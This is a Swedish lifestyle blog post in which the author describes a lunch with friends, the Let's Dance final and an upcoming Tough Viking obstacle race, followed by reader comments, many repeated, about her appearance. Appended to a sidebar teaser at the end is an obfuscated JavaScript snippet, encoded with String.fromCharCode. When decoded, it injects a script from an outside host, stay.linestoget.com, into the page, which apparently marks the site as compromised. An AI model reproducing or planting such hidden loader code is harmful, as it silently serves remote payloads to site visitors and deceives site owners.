Lunchdejt, Let’s Dance final och Tough Viking!

IMG_5123

OLYMPUS DIGITAL CAMERA

Mysig lunchdejt 💖

Hej fina!

Eftermiddagen har jag spenderat dagen med Kin & Åza.

En eftermiddag med lugn och ro i goda vĂ€nner nĂ€rhet var precis vad jag behövde! Vi pratade lite om Portugal, och trĂ€ningsresor generellt. Jag försöker verkligen övertala dessa tvĂ„ att följa med mig pĂ„ en grej i vinter…… Åza Ă€r svĂ„rast att övertala! 😝 Men nu har jag planterat ett frö, detta frö ska jag vattna, vĂ„rda och lĂ„ta gro 😉

OLYMPUS DIGITAL CAMERA

IMG_5127 IMG_5152

AlltsĂ„ guuuuud vad naken jag ser ut utan mina fransar. Jag har inte haft nĂ„gon ork att fixa nĂ„gonting pĂ„ sista tiden. Inget smink, inga fransar… men idag satte kag iallfall pĂ„ mig mĂ€nniskoklĂ€der. Jag bytte ut onepeace/trĂ€ningsklĂ€der till klĂ€nning, mocka jacka och stövlar 🙈

PÄ lunchen pratade vi Àven om reaktionerna pÄ förra veckans poddavsnitt.

OM du missat det sĂ„ kan du gĂ„ in och lyssna HÄR!

Ett kĂ€nsligt Ă€mne, men samtidigt ett VIKTIGT Ă€mnar dĂ„ det Ă€r mĂ„nga regler som behöver ses över…

Ă„terigen STORT TACK Claudia som vĂ„gade dela med sig och öppet berĂ€tta om det brutala som har hĂ€nt ❀ 

Nu har Lilleman och jag tittat pĂ„ Let’s Dance finalen. Stort GRATTIS till Jesper! Jag tyckte Anja var minst lika duktig! Bpda var vĂ€rdiga vinnare som avslutade med flaggan i topp ✹

IMG_5161

Imorgon ska jag och Julia springa Tough Viking! MĂ„lsĂ€ttningen Ă€r att ta oss runt. 😬😆😝 hĂ„ll  tummarna för oss đŸ™đŸ» SĂ„hĂ€r ser banan ut… Det stĂ„r Göteborg pĂ„ kartan, men samma bana Ă€r uppstĂ€lld i Stockholm imorgon….

-VAD har vi gett oss in pĂ„?! 😬

IMG_5160 

kram & Gonatt ❀/ My Martens

PS: Det tog Max 1min efter att jag och Lilleman kommit innanför dörren sĂ„ var onepeace pĂ„ 😂

OLYMPUS DIGITAL CAMERA

#jag-Ă€r-i-en-tillfĂ€llig-svacka 🙈

50 Komentarer

  1. Hej My.
    Du skriver att du inte har lösögonfransar o du kĂ€nner dig naken…
    Men i mina ögon sÄ Àr du otroligt vacker naturell utan en massa attiraljer ? för din skönhet kommer inifrÄn.
    Du Àr otroligt vacker nÀr du har det som gör dig hel enligt dig sjÀlv.
    Kram//Micke

  2. Hej My.
    Du skriver att du inte har lösögonfransar o du kĂ€nner dig naken…
    Men i mina ögon sĂ„ Ă€r du otroligt vacker naturell utan en massa attiraljer 😉 för din skönhet kommer inifrĂ„n.
    Du Àr otroligt vacker nÀr du har det som gör dig hel enligt dig sjÀlv.
    Kram//Micke

  3. Vill bara sĂ€ga, du passar sĂ„ bra i rakt hĂ„r, snyggt:) tror det Ă€r en vana med fransarna, tycker du aldrig sett sĂ„ bra ut som pĂ„ dessa bilder ( ytligt), men det behöver ”man” höra ibland omed:) lycka till med allt, tycker du fĂ„tt utstĂ„ alldeles för mycket:)
    Kramar till dig och Lilleman

  4. Kommenterar aldrig men jag hajade till nĂ€r jag sĂ„g bilden pĂ„ dig och Åza. Jag kunde inte sĂ€tta fingret pĂ„ vad det var men jag tyckte verkligen att det var en SÅ fin bild pĂ„ dig. NĂ€r du skrev om fransarna sĂ„ trillade poletten ner. Du ser inte naken ut! Du ser naturligt vacker och helt fantastisk ut. Fransar Ă€r fint men du Ă€r minst lika fin au naturel.

  5. Jag har lĂ€st dina inlĂ€gg nu ett tag ang. din oro inför beslut, din viktuppgĂ„ng som jag inte ser ett spĂ„r av, vad vĂ€ger du egentligen? Ser inte ett uns felaktigt fett pĂ„ din kropp. Det vill jag sĂ€ga först av allt. Sen vad det Ă€r som gjort att du gĂ„tt upp i vikt (ser inte sĂ„ ut) sĂ„ kan det bero pĂ„ sĂ„ mĂ„nga olika saker sĂ„ det Ă€r vansinnigt. Stress om nĂ„got kan gör att du gĂ„r upp i vikt. För mycket trĂ€ning kan ocksĂ„ göra att kroppen stĂ€ller in sig pĂ„ svĂ€lt och inte gör av med en enda kalori utan sparar pĂ„ Ă€nnu mer…..
    Om du gÄtt upp över 10 kg och ser ut som du gör pÄ bilderna sÄ Àr jag glad att du gÄtt upp i vikt. Du har sÄ jÀkla snygg kropp sÄ det Àr bara ren och skÀr avundsjuka som gör att dom andra krakarna som vi ska krama om och sÀga att det finns ett liv för dom med, som sÀger sÄ.
    Kanske om jag fick ge ett rÄd. TrÀna lite mindre, och ta beslut vare sig dom gör ont eller Àr av ondo, gör det. Stress och för mycket trÀning kan ge viktuppgÄng. Dessutom tycker jag inte att du ska gÄ ner ett enda kilo som du ser ut.
    Puss och kram. Sötgröt.

  6. Vill bara sĂ€ga, du passar sĂ„ bra i rakt hĂ„r, snyggt:) tror det Ă€r en vana med fransarna, tycker du aldrig sett sĂ„ bra ut som pĂ„ dessa bilder ( ytligt), men det behöver ”man” höra ibland omed:) lycka till med allt, tycker du fĂ„tt utstĂ„ alldeles för mycket:)
    Kramar till dig och Lilleman

  7. Kommenterar aldrig men jag hajade till nĂ€r jag sĂ„g bilden pĂ„ dig och Åza. Jag kunde inte sĂ€tta fingret pĂ„ vad det var men jag tyckte verkligen att det var en SÅ fin bild pĂ„ dig. NĂ€r du skrev om fransarna sĂ„ trillade poletten ner. Du ser inte naken ut! Du ser naturligt vacker och helt fantastisk ut. Fransar Ă€r fint men du Ă€r minst lika fin au naturel.

  8. Hej, du har aldrig varit sÄ fin som du Àr nu! Naturligt Àr snyggast ???
    Hoppas att det reder ut sig för dig snart!
    Kram Annika

  9. Jag har lĂ€st dina inlĂ€gg nu ett tag ang. din oro inför beslut, din viktuppgĂ„ng som jag inte ser ett spĂ„r av, vad vĂ€ger du egentligen? Ser inte ett uns felaktigt fett pĂ„ din kropp. Det vill jag sĂ€ga först av allt. Sen vad det Ă€r som gjort att du gĂ„tt upp i vikt (ser inte sĂ„ ut) sĂ„ kan det bero pĂ„ sĂ„ mĂ„nga olika saker sĂ„ det Ă€r vansinnigt. Stress om nĂ„got kan gör att du gĂ„r upp i vikt. För mycket trĂ€ning kan ocksĂ„ göra att kroppen stĂ€ller in sig pĂ„ svĂ€lt och inte gör av med en enda kalori utan sparar pĂ„ Ă€nnu mer…..

    Om du gÄtt upp över 10 kg och ser ut som du gör pÄ bilderna sÄ Àr jag glad att du gÄtt upp i vikt. Du har sÄ jÀkla snygg kropp sÄ det Àr bara ren och skÀr avundsjuka som gör att dom andra krakarna som vi ska krama om och sÀga att det finns ett liv för dom med, som sÀger sÄ.

    Kanske om jag fick ge ett rÄd. TrÀna lite mindre, och ta beslut vare sig dom gör ont eller Àr av ondo, gör det. Stress och för mycket trÀning kan ge viktuppgÄng. Dessutom tycker jag inte att du ska gÄ ner ett enda kilo som du ser ut.
    Puss och kram. Sötgröt.

  10. Hej, du har aldrig varit sĂ„ fin som du Ă€r nu! Naturligt Ă€r snyggast đŸ‘đŸ’›đŸŒŒ
    Hoppas att det reder ut sig för dig snart!
    Kram Annika

  11. Tycker du Àr jÀttefin i rakt hÄr och mindre (inget?) smink. Mjukare och naturligare pÄ nÄt vis. Naturligt vacker Àr nog uttrycket jag söker ?

  12. NĂ€men jag tycker du var jĂ€tte fin pĂ„ dessa bilder! Snyggt med rakt hĂ„r! Och sĂ„ lĂ€ser jag sen att du kĂ€nde dig naken utan fransarna…jag tycker du var vacker!

  13. Tycker du Ă€r jĂ€ttefin i rakt hĂ„r och mindre (inget?) smink. Mjukare och naturligare pĂ„ nĂ„t vis. Naturligt vacker Ă€r nog uttrycket jag söker 🙂

  14. NĂ€men jag tycker du var jĂ€tte fin pĂ„ dessa bilder! Snyggt med rakt hĂ„r! Och sĂ„ lĂ€ser jag sen att du kĂ€nde dig naken utan fransarna…jag tycker du var vacker!

  15. Helvete vad snygg du Àr utan de dÀr fransarna!
    Sorry för svordommen men hĂ€r behövs drt kraftuttryck. â˜ș

  16. Men allvarligt, My!
    Jag hĂ„ller verkligen med om det flera skriver hĂ€r – du Ă€r sĂ„ vacker utan fransar!
    Du Ă€r helt Ă€rligt finare utan, du har en naturlig skönhet som kommer fram Ă€nnu bĂ€ttre utan fejkade fransar. Du har ju det som vi alla önskar att vi hade. Önskar bara att du sĂ„g det sjĂ€lv. Kram frĂ„n trogen lĂ€sare i SkĂ„ne.

  17. Helvete vad snygg du Àr utan de dÀr fransarna!
    Sorry för svordommen men hĂ€r behövs drt kraftuttryck. â˜ș

  18. AlltsÄ min första tanke nÀr jag sÄg dig- sÄÄÄ fin! Rakt hÄr passar dig super, fransarna ska du inte sakna tycker jag. JÀttefin bild pÄ dig!

  19. Men allvarligt, My!
    Jag hĂ„ller verkligen med om det flera skriver hĂ€r – du Ă€r sĂ„ vacker utan fransar!
    Du Ă€r helt Ă€rligt finare utan, du har en naturlig skönhet som kommer fram Ă€nnu bĂ€ttre utan fejkade fransar. Du har ju det som vi alla önskar att vi hade. Önskar bara att du sĂ„g det sjĂ€lv. Kram frĂ„n trogen lĂ€sare i SkĂ„ne.

  20. AlltsÄ min första tanke nÀr jag sÄg dig- sÄÄÄ fin! Rakt hÄr passar dig super, fransarna ska du inte sakna tycker jag. JÀttefin bild pÄ dig!

  21. HÄller med tidigare talare. Undrar varför sÄ mÄnga tycker att det Àr vackert med lösögonfransar, fillers i lÀpparna osv, det ser ju bara onaturligt ut! Varför ska standarden vara 4cm ögonfransar? Hur mÄnga föds med det? Du Àr jÀttefin My utan dina lösfransar!

  22. HÄller med tidigare talare. Undrar varför sÄ mÄnga tycker att det Àr vackert med lösögonfransar, fillers i lÀpparna osv, det ser ju bara onaturligt ut! Varför ska standarden vara 4cm ögonfransar? Hur mÄnga föds med det? Du Àr jÀttefin My utan dina lösfransar!

  23. Jag hÄller med sÄ mÄnga andra hÀr. Du Àr jÀttefin som du Àr, utan lösfransar. Finaste bilden pÄ dig pÄ lÀnge

  24. Jag hÄller med sÄ mÄnga andra hÀr. Du Àr jÀttefin som du Àr, utan lösfransar. Finaste bilden pÄ dig pÄ lÀnge

Svara

LĂ€mna din kommentar!
Ditt namn hÀr

Om du missat..

Andas ut stressen med hjÀlp av djupandning

Andas ut stressen med hjÀlp av djupandning -Hur mÄnga tÀnker egentligen pÄ sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej pĂ„ er! Detta Ă€r en grymt efterlĂ€ngtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/